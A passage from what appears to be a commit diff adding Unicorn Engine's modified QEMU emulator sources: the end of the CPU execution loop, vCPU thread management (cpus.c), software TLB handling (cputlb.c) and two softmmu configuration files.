cpu->exception_index = -1;
/* prepare setjmp context for exception handling */
for(;;) {
if (sigsetjmp(cpu->jmp_env, 0) == 0) {
if (uc->stop_request || uc->invalid_error)
break;
/* if an exception is pending, we execute it here */
if (cpu->exception_index >= 0) {
//printf(">>> GOT INTERRUPT. exception idx = %x\n", cpu->exception_index); // qq
if (uc->stop_interrupt && uc->stop_interrupt(cpu->exception_index)) {
cpu->halted = 1;
uc->invalid_error = UC_ERR_INSN_INVALID;
ret = EXCP_HLT;
break;
}
if ((uc->arch == UC_ARCH_X86 && cpu->exception_index == 0x99) || // X86's Int 0x99
(uc->arch == UC_ARCH_ARM && cpu->exception_index == 2) || /* ARM's EXCP_SWI */
(uc->arch == UC_ARCH_ARM64 && cpu->exception_index == 2) || /* ARM's EXCP_SWI */
(uc->arch == UC_ARCH_MIPS && cpu->exception_index == 17) || /* Mips's EXCP_SYSCALL */
(uc->arch == UC_ARCH_SPARC && cpu->exception_index == 0x80) || /* Sparc's TT_TRAP */
(uc->arch == UC_ARCH_SPARC && cpu->exception_index == 0x100) || /* Sparc64's TT_TRAP */
(uc->arch == UC_ARCH_M68K && cpu->exception_index == 0x2f) /* M68K's EXCP_TRAP15 */
) {
cpu->halted = 1;
//cpu->exception_index = EXCP_HLT;
//no_shutdown = 0;
//printf(">>> calling shutdown-request...\n");
//printf(">>> ** current EIP = %x\n", X86_CPU(cpu)->env.eip);
//qemu_system_shutdown_request();
//pause_all_vcpus();
//cpu_loop_exit(cpu);
ret = EXCP_HLT;
break;
}
if (cpu->exception_index >= EXCP_INTERRUPT) {
/* exit request from the cpu execution loop */
ret = cpu->exception_index;
if (ret == EXCP_DEBUG) {
cpu_handle_debug_exception(env);
}
break;
} else {
#if defined(CONFIG_USER_ONLY)
/* if user mode only, we simulate a fake exception
which will be handled outside the cpu execution
loop */
#if defined(TARGET_I386)
cc->do_interrupt(cpu);
#endif
ret = cpu->exception_index;
break;
#else
// Unicorn: call interrupt callback if registered
if (uc->hook_intr_idx)
((uc_cb_hookintr_t)uc->hook_callbacks[uc->hook_intr_idx].callback)(
(uch)uc, cpu->exception_index,
uc->hook_callbacks[uc->hook_intr_idx].user_data);
cpu->exception_index = -1;
#endif
}
}
next_tb = 0; /* force lookup of first TB */
for(;;) {
interrupt_request = cpu->interrupt_request;
if (unlikely(interrupt_request)) {
if (unlikely(cpu->singlestep_enabled & SSTEP_NOIRQ)) {
/* Mask out external interrupts for this step. */
interrupt_request &= ~CPU_INTERRUPT_SSTEP_MASK;
}
if (interrupt_request & CPU_INTERRUPT_DEBUG) {
cpu->interrupt_request &= ~CPU_INTERRUPT_DEBUG;
cpu->exception_index = EXCP_DEBUG;
cpu_loop_exit(cpu);
}
if (interrupt_request & CPU_INTERRUPT_HALT) {
cpu->interrupt_request &= ~CPU_INTERRUPT_HALT;
cpu->halted = 1;
cpu->exception_index = EXCP_HLT;
cpu_loop_exit(cpu);
}
#if defined(TARGET_I386)
if (interrupt_request & CPU_INTERRUPT_INIT) {
cpu_svm_check_intercept_param(env, SVM_EXIT_INIT, 0);
do_cpu_init(x86_cpu);
cpu->exception_index = EXCP_HALTED;
cpu_loop_exit(cpu);
}
#else
if (interrupt_request & CPU_INTERRUPT_RESET) {
cpu_reset(cpu);
}
#endif
/* The target hook has 3 exit conditions:
False when the interrupt isn't processed,
True when it is, and we should restart on a new TB,
and via longjmp via cpu_loop_exit. */
if (cc->cpu_exec_interrupt(cpu, interrupt_request)) {
next_tb = 0;
}
/* Don't use the cached interrupt_request value,
do_interrupt may have updated the EXITTB flag. */
if (cpu->interrupt_request & CPU_INTERRUPT_EXITTB) {
cpu->interrupt_request &= ~CPU_INTERRUPT_EXITTB;
/* ensure that no TB jump will be modified as
the program flow was changed */
next_tb = 0;
}
}
if (unlikely(cpu->exit_request)) {
cpu->exit_request = 0;
cpu->exception_index = EXCP_INTERRUPT;
cpu_loop_exit(cpu);
}
spin_lock(&tcg_ctx->tb_ctx.tb_lock);
have_tb_lock = true;
tb = tb_find_fast(env); // qq
if (!tb) { // invalid TB due to invalid code?
break;
}
/* Note: we do it here to avoid a gcc bug on Mac OS X when
doing it in tb_find_slow */
if (tcg_ctx->tb_ctx.tb_invalidated_flag) {
/* as some TB could have been invalidated because
of memory exceptions while generating the code, we
must recompute the hash index here */
next_tb = 0;
tcg_ctx->tb_ctx.tb_invalidated_flag = 0;
}
/* see if we can patch the calling TB. When the TB
spans two pages, we cannot safely do a direct
jump. */
if (next_tb != 0 && tb->page_addr[1] == -1) {
tb_add_jump((TranslationBlock *)(next_tb & ~TB_EXIT_MASK),
next_tb & TB_EXIT_MASK, tb);
}
have_tb_lock = false;
spin_unlock(&tcg_ctx->tb_ctx.tb_lock);
/* cpu_interrupt might be called while translating the
TB, but before it is linked into a potentially
infinite loop and becomes env->current_tb. Avoid
starting execution if there is a pending interrupt. */
cpu->current_tb = tb;
barrier();
if (likely(!cpu->exit_request)) {
tc_ptr = tb->tc_ptr;
/* execute the generated code */
next_tb = cpu_tb_exec(cpu, tc_ptr); // qq
switch (next_tb & TB_EXIT_MASK) {
case TB_EXIT_REQUESTED:
/* Something asked us to stop executing
* chained TBs; just continue round the main
* loop. Whatever requested the exit will also
* have set something else (eg exit_request or
* interrupt_request) which we will handle
* next time around the loop.
*/
tb = (TranslationBlock *)(next_tb & ~TB_EXIT_MASK);
next_tb = 0;
break;
default:
break;
}
}
cpu->current_tb = NULL;
/* reset soft MMU for next block (it can currently
only be set by a memory fault) */
} /* for(;;) */
} else {
/* Reload env after longjmp - the compiler may have smashed all
* local variables as longjmp is marked 'noreturn'. */
cpu = uc->current_cpu;
env = cpu->env_ptr;
cc = CPU_GET_CLASS(uc, cpu);
#ifdef TARGET_I386
x86_cpu = X86_CPU(uc, cpu);
#endif
if (have_tb_lock) {
spin_unlock(&tcg_ctx->tb_ctx.tb_lock);
have_tb_lock = false;
}
}
} /* for(;;) */
cc->cpu_exec_exit(cpu);
/* fail safe : never use current_cpu outside cpu_exec() */
uc->current_cpu = NULL;
return ret;
}
/* Execute a TB, and fix up the CPU state afterwards if necessary */
static tcg_target_ulong cpu_tb_exec(CPUState *cpu, uint8_t *tb_ptr)
{
CPUArchState *env = cpu->env_ptr;
TCGContext *tcg_ctx = env->uc->tcg_ctx;
uintptr_t next_tb;
next_tb = tcg_qemu_tb_exec(env, tb_ptr);
if ((next_tb & TB_EXIT_MASK) > TB_EXIT_IDX1) {
/* We didn't start executing this TB (eg because the instruction
* counter hit zero); we must restore the guest PC to the address
* of the start of the TB.
*/
CPUClass *cc = CPU_GET_CLASS(env->uc, cpu);
TranslationBlock *tb = (TranslationBlock *)(next_tb & ~TB_EXIT_MASK);
if (cc->synchronize_from_tb) {
// avoid sync twice when helper_uc_tracecode() already did this.
if (env->uc->emu_counter <= env->uc->emu_count)
cc->synchronize_from_tb(cpu, tb); // qq
} else {
assert(cc->set_pc);
// avoid sync twice when helper_uc_tracecode() already did this.
if (env->uc->emu_counter <= env->uc->emu_count)
cc->set_pc(cpu, tb->pc);
}
}
if ((next_tb & TB_EXIT_MASK) == TB_EXIT_REQUESTED) {
/* We were asked to stop executing TBs (probably a pending
* interrupt. We've now stopped, so clear the flag.
*/
cpu->tcg_exit_req = 0;
}
return next_tb;
}
static TranslationBlock *tb_find_slow(CPUArchState *env, target_ulong pc,
target_ulong cs_base, uint64_t flags) // qq
{
CPUState *cpu = ENV_GET_CPU(env);
TCGContext *tcg_ctx = env->uc->tcg_ctx;
TranslationBlock *tb, **ptb1;
unsigned int h;
tb_page_addr_t phys_pc, phys_page1;
target_ulong virt_page2;
tcg_ctx->tb_ctx.tb_invalidated_flag = 0;
/* find translated block using physical mappings */
phys_pc = get_page_addr_code(env, pc); // qq
if (phys_pc == -1) { // invalid code?
return NULL;
}
phys_page1 = phys_pc & TARGET_PAGE_MASK;
h = tb_phys_hash_func(phys_pc);
ptb1 = &tcg_ctx->tb_ctx.tb_phys_hash[h];
for(;;) {
tb = *ptb1;
if (!tb)
goto not_found;
if (tb->pc == pc &&
tb->page_addr[0] == phys_page1 &&
tb->cs_base == cs_base &&
tb->flags == flags) {
/* check next page if needed */
if (tb->page_addr[1] != -1) {
tb_page_addr_t phys_page2;
virt_page2 = (pc & TARGET_PAGE_MASK) +
TARGET_PAGE_SIZE;
phys_page2 = get_page_addr_code(env, virt_page2);
if (tb->page_addr[1] == phys_page2)
goto found;
} else {
goto found;
}
}
ptb1 = &tb->phys_hash_next;
}
not_found:
/* if no translated code available, then translate it now */
tb = tb_gen_code(cpu, pc, cs_base, flags, 0); // qq
found:
/* Move the last found TB to the head of the list */
if (likely(*ptb1)) {
*ptb1 = tb->phys_hash_next;
tb->phys_hash_next = tcg_ctx->tb_ctx.tb_phys_hash[h];
tcg_ctx->tb_ctx.tb_phys_hash[h] = tb;
}
/* we add the TB in the virtual pc hash table */
cpu->tb_jmp_cache[tb_jmp_cache_hash_func(pc)] = tb;
return tb;
}
static TranslationBlock *tb_find_fast(CPUArchState *env) // qq
{
CPUState *cpu = ENV_GET_CPU(env);
TranslationBlock *tb;
target_ulong cs_base, pc;
int flags;
/* we record a subset of the CPU state. It will
always be the same before a given translated block
is executed. */
cpu_get_tb_cpu_state(env, &pc, &cs_base, &flags);
tb = cpu->tb_jmp_cache[tb_jmp_cache_hash_func(pc)];
if (unlikely(!tb || tb->pc != pc || tb->cs_base != cs_base ||
tb->flags != flags)) {
tb = tb_find_slow(env, pc, cs_base, flags); // qq
}
return tb;
}
static void cpu_handle_debug_exception(CPUArchState *env)
{
CPUState *cpu = ENV_GET_CPU(env);
CPUClass *cc = CPU_GET_CLASS(env->uc, cpu);
CPUWatchpoint *wp;
if (!cpu->watchpoint_hit) {
QTAILQ_FOREACH(wp, &cpu->watchpoints, entry) {
wp->flags &= ~BP_WATCHPOINT_HIT;
}
}
cc->debug_excp_handler(cpu);
}

298
qemu/cpus.c Normal file
View file

@ -0,0 +1,298 @@
/*
* QEMU System Emulator
*
* Copyright (c) 2003-2008 Fabrice Bellard
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */
/* Needed early for CONFIG_BSD etc. */
#include "config-host.h"
#include "sysemu/sysemu.h"
#include "sysemu/cpus.h"
#include "exec/address-spaces.h" // debug, can be removed later
#include "uc_priv.h"
static bool cpu_can_run(CPUState *cpu);
static void cpu_handle_guest_debug(CPUState *cpu);
static int tcg_cpu_exec(struct uc_struct *uc, CPUArchState *env);
static bool tcg_exec_all(struct uc_struct* uc);
static void qemu_tcg_init_vcpu(CPUState *cpu);
static void *qemu_tcg_cpu_thread_fn(void *arg);
void vm_start(struct uc_struct* uc)
{
resume_all_vcpus(uc);
//sleep(3);
// kick off TCG thread
qemu_mutex_unlock_iothread(uc);
}
bool cpu_is_stopped(CPUState *cpu)
{
return cpu->stopped;
}
void run_on_cpu(CPUState *cpu, void (*func)(void *data), void *data)
{
if (qemu_cpu_is_self(cpu)) {
func(data);
return;
}
}
// send halt_cond/tcg_halt_cond to @cpu
bool qemu_cpu_is_self(CPUState *cpu)
{
return qemu_thread_is_self(cpu->thread);
}
void pause_all_vcpus(struct uc_struct *uc)
{
CPUState *cpu;
CPU_FOREACH(cpu) {
qemu_thread_join(cpu->thread); // qq: fix qemu_thread_join() to work for instance
}
}
void resume_all_vcpus(struct uc_struct *uc)
{
CPUState *cpu;
{
// Fix call multiple time (vu).
// We have to check whether this is the second time, then reset all CPU.
bool created = false;
CPU_FOREACH(cpu) {
created |= cpu->created;
}
if (!created) {
CPU_FOREACH(cpu) {
cpu->created = true;
cpu->halted = 0;
qemu_init_vcpu(cpu);
}
qemu_mutex_lock_iothread(uc);
}
}
//qemu_clock_enable(QEMU_CLOCK_VIRTUAL, true);
CPU_FOREACH(cpu) {
cpu_resume(cpu);
}
}
void qemu_init_vcpu(CPUState *cpu)
{
cpu->nr_cores = smp_cores;
cpu->nr_threads = smp_threads;
cpu->stopped = true;
cpu->uc->tcg_cpu_thread = NULL;
if (tcg_enabled(cpu->uc)) {
qemu_tcg_init_vcpu(cpu);
}
}
static void *qemu_tcg_cpu_thread_fn(void *arg)
{
CPUState *cpu = arg;
struct uc_struct *uc = cpu->uc;
//qemu_tcg_init_cpu_signals();
qemu_thread_get_self(cpu->thread);
qemu_mutex_lock(&uc->qemu_global_mutex);
CPU_FOREACH(cpu) {
cpu->thread_id = qemu_get_thread_id();
cpu->created = true;
}
qemu_cond_signal(&uc->qemu_cpu_cond);
/* wait for initial kick-off after machine start */
while (QTAILQ_FIRST(&uc->cpus)->stopped) {
qemu_cond_wait(uc->tcg_halt_cond, &uc->qemu_global_mutex);
}
while (1) {
#if 0
int count = 0;
if (count < 10) {
count++;
unsigned int eip = X86_CPU(mycpu)->env.eip;
printf(">>> current EIP = %x\n", eip);
printf(">>> ECX = %x\n", (unsigned int)X86_CPU(mycpu)->env.regs[R_ECX]);
printf(">>> EDX = %x\n", (unsigned int)X86_CPU(mycpu)->env.regs[R_EDX]);
}
#endif
if (tcg_exec_all(uc))
break;
}
CPU_FOREACH(cpu) {
cpu->thread_id = 0;
cpu->created = false;
}
qemu_mutex_unlock(&uc->qemu_global_mutex);
return NULL;
}
/* For temporary buffers for forming a name */
#define VCPU_THREAD_NAME_SIZE 16
static void qemu_tcg_init_vcpu(CPUState *cpu)
{
struct uc_struct *uc = cpu->uc;
char thread_name[VCPU_THREAD_NAME_SIZE];
tcg_cpu_address_space_init(cpu, cpu->as);
/* share a single thread for all cpus with TCG */
if (!uc->tcg_cpu_thread) {
cpu->thread = g_malloc0(sizeof(QemuThread));
cpu->halt_cond = g_malloc0(sizeof(QemuCond));
qemu_cond_init(cpu->halt_cond);
uc->tcg_halt_cond = cpu->halt_cond;
snprintf(thread_name, VCPU_THREAD_NAME_SIZE, "CPU %d/TCG",
cpu->cpu_index);
qemu_thread_create(cpu->thread, thread_name, qemu_tcg_cpu_thread_fn,
cpu, QEMU_THREAD_JOINABLE);
#ifdef _WIN32
cpu->hThread = qemu_thread_get_handle(cpu->thread);
#endif
while (!cpu->created) {
qemu_cond_wait(&uc->qemu_cpu_cond, &uc->qemu_global_mutex);
}
uc->tcg_cpu_thread = cpu->thread;
} else {
cpu->thread = uc->tcg_cpu_thread;
cpu->halt_cond = uc->tcg_halt_cond;
}
}
static int tcg_cpu_exec(struct uc_struct *uc, CPUArchState *env)
{
return cpu_exec(uc, env);
}
static bool tcg_exec_all(struct uc_struct* uc)
{
int r;
bool finish = false;
CPUState *next_cpu = uc->next_cpu;
if (next_cpu == NULL) {
next_cpu = first_cpu;
}
for (; next_cpu != NULL && !uc->exit_request; next_cpu = CPU_NEXT(next_cpu)) {
CPUState *cpu = next_cpu;
CPUArchState *env = cpu->env_ptr;
//qemu_clock_enable(QEMU_CLOCK_VIRTUAL,
// (cpu->singlestep_enabled & SSTEP_NOTIMER) == 0);
if (cpu_can_run(cpu)) {
r = tcg_cpu_exec(uc, env);
if (uc->stop_request) {
//printf(">>> got STOP request!!!\n");
finish = true;
break;
}
// save invalid memory access error & quit
if (env->invalid_error) {
// printf(">>> invalid memory accessed, STOP = %u!!!\n", env->invalid_error);
uc->invalid_addr = env->invalid_addr;
uc->invalid_error = env->invalid_error;
finish = true;
break;
}
// printf(">>> stop with r = %x, HLT=%x\n", r, EXCP_HLT);
if (r == EXCP_DEBUG) {
cpu_handle_guest_debug(cpu);
break;
}
if (r == EXCP_HLT) {
//printf(">>> got HLT!!!\n");
finish = true;
break;
}
} else if (cpu->stop || cpu->stopped) {
printf(">>> got stopped!!!\n");
break;
}
}
uc->exit_request = 0;
return finish;
}
static bool cpu_can_run(CPUState *cpu)
{
if (cpu->stop) {
return false;
}
if (cpu_is_stopped(cpu)) {
return false;
}
return true;
}
static void cpu_handle_guest_debug(CPUState *cpu)
{
cpu->stopped = true;
}
#if 0
#ifndef _WIN32
static void qemu_tcg_init_cpu_signals(void)
{
sigset_t set;
struct sigaction sigact;
memset(&sigact, 0, sizeof(sigact));
sigact.sa_handler = cpu_signal;
sigaction(SIG_IPI, &sigact, NULL);
sigemptyset(&set);
sigaddset(&set, SIG_IPI);
pthread_sigmask(SIG_UNBLOCK, &set, NULL);
}
#else /* _WIN32 */
static void qemu_tcg_init_cpu_signals(void)
{
}
#endif /* _WIN32 */
#endif

414
qemu/cputlb.c Normal file
View file

@ -0,0 +1,414 @@
/*
* Common CPU TLB handling
*
* Copyright (c) 2003 Fabrice Bellard
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, see <http://www.gnu.org/licenses/>.
*/
/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */
#include "config.h"
#include "cpu.h"
#include "exec/exec-all.h"
#include "exec/memory.h"
#include "exec/address-spaces.h"
#include "exec/cpu_ldst.h"
#include "exec/cputlb.h"
#include "exec/memory-internal.h"
#include "exec/ram_addr.h"
#include "tcg/tcg.h"
#include "uc_priv.h"
//#define DEBUG_TLB
//#define DEBUG_TLB_CHECK
static void tlb_flush_entry(CPUTLBEntry *tlb_entry, target_ulong addr);
static bool tlb_is_dirty_ram(CPUTLBEntry *tlbe);
static ram_addr_t qemu_ram_addr_from_host_nofail(struct uc_struct *uc, void *ptr);
static void tlb_add_large_page(CPUArchState *env, target_ulong vaddr,
target_ulong size);
static void tlb_set_dirty1(CPUTLBEntry *tlb_entry, target_ulong vaddr);
/* statistics */
//int tlb_flush_count;
/* NOTE:
* If flush_global is true (the usual case), flush all tlb entries.
* If flush_global is false, flush (at least) all tlb entries not
* marked global.
*
* Since QEMU doesn't currently implement a global/not-global flag
* for tlb entries, at the moment tlb_flush() will also flush all
* tlb entries in the flush_global == false case. This is OK because
* CPU architectures generally permit an implementation to drop
* entries from the TLB at any time, so flushing more entries than
* required is only an efficiency issue, not a correctness issue.
*/
void tlb_flush(CPUState *cpu, int flush_global)
{
CPUArchState *env = cpu->env_ptr;
#if defined(DEBUG_TLB)
printf("tlb_flush:\n");
#endif
/* must reset current TB so that interrupts cannot modify the
links while we are modifying them */
cpu->current_tb = NULL;
memset(env->tlb_table, -1, sizeof(env->tlb_table));
memset(env->tlb_v_table, -1, sizeof(env->tlb_v_table));
memset(cpu->tb_jmp_cache, 0, sizeof(cpu->tb_jmp_cache));
env->vtlb_index = 0;
env->tlb_flush_addr = -1;
env->tlb_flush_mask = 0;
//tlb_flush_count++;
}
void tlb_flush_page(CPUState *cpu, target_ulong addr)
{
CPUArchState *env = cpu->env_ptr;
int i;
int mmu_idx;
#if defined(DEBUG_TLB)
printf("tlb_flush_page: " TARGET_FMT_lx "\n", addr);
#endif
/* Check if we need to flush due to large pages. */
if ((addr & env->tlb_flush_mask) == env->tlb_flush_addr) {
#if defined(DEBUG_TLB)
printf("tlb_flush_page: forced full flush ("
TARGET_FMT_lx "/" TARGET_FMT_lx ")\n",
env->tlb_flush_addr, env->tlb_flush_mask);
#endif
tlb_flush(cpu, 1);
return;
}
/* must reset current TB so that interrupts cannot modify the
links while we are modifying them */
cpu->current_tb = NULL;
addr &= TARGET_PAGE_MASK;
i = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1);
for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) {
tlb_flush_entry(&env->tlb_table[mmu_idx][i], addr);
}
/* check whether there are entries that need to be flushed in the vtlb */
for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) {
int k;
for (k = 0; k < CPU_VTLB_SIZE; k++) {
tlb_flush_entry(&env->tlb_v_table[mmu_idx][k], addr);
}
}
tb_flush_jmp_cache(cpu, addr);
}
/* update the TLBs so that writes to code in the virtual page 'addr'
can be detected */
void tlb_protect_code(struct uc_struct *uc, ram_addr_t ram_addr)
{
cpu_physical_memory_reset_dirty(uc, ram_addr, TARGET_PAGE_SIZE,
DIRTY_MEMORY_CODE);
}
/* update the TLB so that writes in physical page 'phys_addr' are no longer
tested for self modifying code */
void tlb_unprotect_code_phys(CPUState *cpu, ram_addr_t ram_addr,
target_ulong vaddr)
{
cpu_physical_memory_set_dirty_flag(cpu->uc, ram_addr, DIRTY_MEMORY_CODE);
}
void tlb_reset_dirty_range(CPUTLBEntry *tlb_entry, uintptr_t start,
uintptr_t length)
{
uintptr_t addr;
if (tlb_is_dirty_ram(tlb_entry)) {
addr = (tlb_entry->addr_write & TARGET_PAGE_MASK) + tlb_entry->addend;
if ((addr - start) < length) {
tlb_entry->addr_write |= TLB_NOTDIRTY;
}
}
}
void cpu_tlb_reset_dirty_all(struct uc_struct *uc,
ram_addr_t start1, ram_addr_t length)
{
CPUState *cpu;
CPUArchState *env;
CPU_FOREACH(cpu) {
int mmu_idx;
env = cpu->env_ptr;
for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) {
unsigned int i;
for (i = 0; i < CPU_TLB_SIZE; i++) {
tlb_reset_dirty_range(&env->tlb_table[mmu_idx][i],
start1, length);
}
for (i = 0; i < CPU_VTLB_SIZE; i++) {
tlb_reset_dirty_range(&env->tlb_v_table[mmu_idx][i],
start1, length);
}
}
}
}
/* update the TLB corresponding to virtual page vaddr
so that it is no longer dirty */
void tlb_set_dirty(CPUArchState *env, target_ulong vaddr)
{
int i;
int mmu_idx;
vaddr &= TARGET_PAGE_MASK;
i = (vaddr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1);
for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) {
tlb_set_dirty1(&env->tlb_table[mmu_idx][i], vaddr);
}
for (mmu_idx = 0; mmu_idx < NB_MMU_MODES; mmu_idx++) {
int k;
for (k = 0; k < CPU_VTLB_SIZE; k++) {
tlb_set_dirty1(&env->tlb_v_table[mmu_idx][k], vaddr);
}
}
}
/* Add a new TLB entry. At most one entry for a given virtual address
is permitted. Only a single TARGET_PAGE_SIZE region is mapped, the
supplied size is only used by tlb_flush_page. */
void tlb_set_page(CPUState *cpu, target_ulong vaddr,
hwaddr paddr, int prot,
int mmu_idx, target_ulong size)
{
CPUArchState *env = cpu->env_ptr;
MemoryRegionSection *section;
unsigned int index;
target_ulong address;
target_ulong code_address;
uintptr_t addend;
CPUTLBEntry *te;
hwaddr iotlb, xlat, sz;
unsigned vidx = env->vtlb_index++ % CPU_VTLB_SIZE;
assert(size >= TARGET_PAGE_SIZE);
if (size != TARGET_PAGE_SIZE) {
tlb_add_large_page(env, vaddr, size);
}
sz = size;
section = address_space_translate_for_iotlb(cpu->as, paddr,
&xlat, &sz);
assert(sz >= TARGET_PAGE_SIZE);
#if defined(DEBUG_TLB)
printf("tlb_set_page: vaddr=" TARGET_FMT_lx " paddr=0x" TARGET_FMT_plx
" prot=%x idx=%d\n",
vaddr, paddr, prot, mmu_idx);
#endif
address = vaddr;
if (!memory_region_is_ram(section->mr) && !memory_region_is_romd(section->mr)) {
/* IO memory case */
address |= TLB_MMIO;
addend = 0;
} else {
/* TLB_MMIO for rom/romd handled below */
addend = (uintptr_t)memory_region_get_ram_ptr(section->mr) + xlat;
}
code_address = address;
iotlb = memory_region_section_get_iotlb(cpu, section, vaddr, paddr, xlat,
prot, &address);
index = (vaddr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1);
te = &env->tlb_table[mmu_idx][index];
/* do not discard the translation in te, evict it into a victim tlb */
env->tlb_v_table[mmu_idx][vidx] = *te;
env->iotlb_v[mmu_idx][vidx] = env->iotlb[mmu_idx][index];
/* refill the tlb */
env->iotlb[mmu_idx][index] = iotlb - vaddr;
te->addend = addend - vaddr;
if (prot & PAGE_READ) {
te->addr_read = address;
} else {
te->addr_read = -1;
}
if (prot & PAGE_EXEC) {
te->addr_code = code_address;
} else {
te->addr_code = -1;
}
if (prot & PAGE_WRITE) {
if ((memory_region_is_ram(section->mr) && section->readonly)
|| memory_region_is_romd(section->mr)) {
/* Write access calls the I/O callback. */
te->addr_write = address | TLB_MMIO;
} else if (memory_region_is_ram(section->mr)
&& cpu_physical_memory_is_clean(cpu->uc, section->mr->ram_addr
+ xlat)) {
te->addr_write = address | TLB_NOTDIRTY;
} else {
te->addr_write = address;
}
} else {
te->addr_write = -1;
}
}
/* NOTE: this function can trigger an exception */
/* NOTE2: the returned address is not exactly the physical address: it
* is actually a ram_addr_t (in system mode; the user mode emulation
* version of this function returns a guest virtual address).
*/
tb_page_addr_t get_page_addr_code(CPUArchState *env1, target_ulong addr)
{
int mmu_idx, page_index, pd;
void *p;
MemoryRegion *mr;
CPUState *cpu = ENV_GET_CPU(env1);
page_index = (addr >> TARGET_PAGE_BITS) & (CPU_TLB_SIZE - 1);
mmu_idx = cpu_mmu_index(env1);
if (unlikely(env1->tlb_table[mmu_idx][page_index].addr_code !=
(addr & TARGET_PAGE_MASK))) {
cpu_ldub_code(env1, addr);
}
pd = env1->iotlb[mmu_idx][page_index] & ~TARGET_PAGE_MASK;
mr = iotlb_to_region(cpu->as, pd);
if (memory_region_is_unassigned(cpu->uc, mr)) {
CPUClass *cc = CPU_GET_CLASS(env1->uc, cpu);
if (cc->do_unassigned_access) {
cc->do_unassigned_access(cpu, addr, false, true, 0, 4);
} else {
//cpu_abort(cpu, "Trying to execute code outside RAM or ROM at 0x"
// TARGET_FMT_lx "\n", addr); // qq
env1->invalid_addr = addr;
env1->invalid_error = UC_ERR_CODE_INVALID;
return -1; // qq FIXME
}
}
p = (void *)((uintptr_t)addr + env1->tlb_table[mmu_idx][page_index].addend);
return qemu_ram_addr_from_host_nofail(cpu->uc, p);
}
static ram_addr_t qemu_ram_addr_from_host_nofail(struct uc_struct *uc, void *ptr)
{
ram_addr_t ram_addr;
if (qemu_ram_addr_from_host(uc, ptr, &ram_addr) == NULL) {
fprintf(stderr, "Bad ram pointer %p\n", ptr);
abort();
}
return ram_addr;
}
static void tlb_set_dirty1(CPUTLBEntry *tlb_entry, target_ulong vaddr)
{
if (tlb_entry->addr_write == (vaddr | TLB_NOTDIRTY)) {
tlb_entry->addr_write = vaddr;
}
}
/* Our TLB does not support large pages, so remember the area covered by
large pages and trigger a full TLB flush if these are invalidated. */
static void tlb_add_large_page(CPUArchState *env, target_ulong vaddr,
target_ulong size)
{
target_ulong mask = ~(size - 1);
if (env->tlb_flush_addr == (target_ulong)-1) {
env->tlb_flush_addr = vaddr & mask;
env->tlb_flush_mask = mask;
return;
}
/* Extend the existing region to include the new page.
This is a compromise between unnecessary flushes and the cost
of maintaining a full variable size TLB. */
mask &= env->tlb_flush_mask;
while (((env->tlb_flush_addr ^ vaddr) & mask) != 0) {
mask <<= 1;
}
env->tlb_flush_addr &= mask;
env->tlb_flush_mask = mask;
}
static bool tlb_is_dirty_ram(CPUTLBEntry *tlbe)
{
return (tlbe->addr_write & (TLB_INVALID_MASK|TLB_MMIO|TLB_NOTDIRTY)) == 0;
}
static void tlb_flush_entry(CPUTLBEntry *tlb_entry, target_ulong addr)
{
if (addr == (tlb_entry->addr_read &
(TARGET_PAGE_MASK | TLB_INVALID_MASK)) ||
addr == (tlb_entry->addr_write &
(TARGET_PAGE_MASK | TLB_INVALID_MASK)) ||
addr == (tlb_entry->addr_code &
(TARGET_PAGE_MASK | TLB_INVALID_MASK))) {
memset(tlb_entry, -1, sizeof(*tlb_entry));
}
}
#define MMUSUFFIX _mmu
#define SHIFT 0
#include "softmmu_template.h"
#define SHIFT 1
#include "softmmu_template.h"
#define SHIFT 2
#include "softmmu_template.h"
#define SHIFT 3
#include "softmmu_template.h"
#undef MMUSUFFIX
#define MMUSUFFIX _cmmu
#undef GETPC_ADJ
#define GETPC_ADJ 0
#undef GETRA
#define GETRA() ((uintptr_t)0)
#define SOFTMMU_CODE_ACCESS
#define SHIFT 0
#include "softmmu_template.h"
#define SHIFT 1
#include "softmmu_template.h"
#define SHIFT 2
#include "softmmu_template.h"
#define SHIFT 3
#include "softmmu_template.h"

View file

@ -0,0 +1,6 @@
# Default configuration for aarch64-softmmu
# We support all the 32 bit boards so need all their config
include arm-softmmu.mak
# Currently no 64-bit specific config requirements

View file

@ -0,0 +1,17 @@
# Default configuration for alpha-softmmu
include pci.mak
include usb.mak
CONFIG_SERIAL=y
CONFIG_I8254=y
CONFIG_PCKBD=y
CONFIG_VGA=y
CONFIG_VGA_PCI=y
CONFIG_VGA_CIRRUS=y
CONFIG_IDE_CORE=y
CONFIG_IDE_QDEV=y
CONFIG_VMWARE_VGA=y
CONFIG_IDE_CMD646=y
CONFIG_I8259=y
